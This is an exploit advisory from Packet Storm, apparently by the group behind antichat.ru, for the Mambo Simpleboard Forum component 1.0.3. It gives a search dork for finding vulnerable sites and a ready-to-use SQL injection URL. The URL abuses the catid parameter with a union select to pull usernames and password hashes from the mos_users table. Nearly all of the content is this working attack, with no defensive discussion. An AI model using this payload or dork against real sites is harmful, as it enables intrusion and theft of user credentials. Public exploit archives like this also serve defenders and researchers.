mambosimple-sql.txt

2008-02-27T00:00:00
ID PACKETSTORM:64089
Type packetstorm
Reporter it's my
Modified 2008-02-27T00:00:00

Description

                                        
                                            `#########################################################  
##  
## Mambo Simpleboard Forum Component 1.0.3 Stable (com_simpleboard)  
##  
##  
## Author: it's my, Scipio, xcedz  
##  
## Home page: http://www.antichat.ru  
##  
#########################################################  
##  
## Dork: inurl:"index.php?option=com_simpleboard"  
##  
#########################################################  
  
Exploit:  
  
http://site.com/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/*  
  
#########################################################  
## Together, we have strength =) #### www.antichat.ru  
#########################################################  
`